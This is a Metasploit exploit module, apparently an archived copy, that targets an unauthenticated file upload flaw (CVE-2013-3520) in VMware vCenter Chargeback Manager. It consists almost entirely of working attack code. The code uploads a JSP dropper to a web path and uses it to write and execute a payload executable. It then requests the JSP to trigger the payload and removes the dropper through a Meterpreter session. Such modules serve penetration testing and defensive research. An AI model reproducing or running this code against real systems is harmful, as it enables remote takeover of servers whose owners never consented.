VMware vCenter – Chargeback Manager ImageUploadServlet Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in VMware vCenter Chargeback Manager, where the ImageUploadServlet servlet allows unauthenticated file upload. The files are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed. The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1 on Windows 2003 SP2. }, 'Author' => [ 'Andrea Micalizzi', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3520' ], [ 'OSVDB', '94188' ], [ 'BID', '60484' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ [ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2013')) register_options( [ Opt::RPORT(443) ], self.class) end # # Try to find and delete the jsp if we get a meterpreter. # def on_new_session(cli) if not @dropper or @dropper.empty? return end if cli.type != 'meterpreter' print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin print_status("#{@peer} - Searching: #{@dropper}") files = cli.fs.file.search("\\", @dropper) if not files or files.empty? print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.") return end files.each { |f| print_warning("Deleting: #{f['path'] + "\\" + f['name']}") cli.fs.file.rm(f['path'] + "\\" + f['name']) } print_good("#{@peer} - #{@dropper} deleted") return rescue ::Exception => e print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}") end end def upload_file(filename, contents) post_data = Rex::MIME::Message.new post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"") # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { 'uri' => normalize_uri("cbmui", "ImageUploadServlet"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "JSESSIONID=#{@session}" }) if res and res.code == 200 return true else return false end end def check res = send_request_cgi({ 'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"), }) if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Uploading JSP to execute the payload") exe = payload.encoded_exe exe_filename = rand_text_alpha(8) + ".exe" # The JSP dropper is needed because there isn't directory traversal, just # arbitrary file upload to a web path where JSP code execution is allowed. dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = rand_text_alpha(8) + ".jsp" if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) @dropper = dropper_filename else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") end print_status("#{@peer} - Executing payload") send_request_cgi( { 'uri' => normalize_uri("cbmui", "images", dropper_filename), 'method' => 'GET' }) end # This should probably go in a mixin def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end |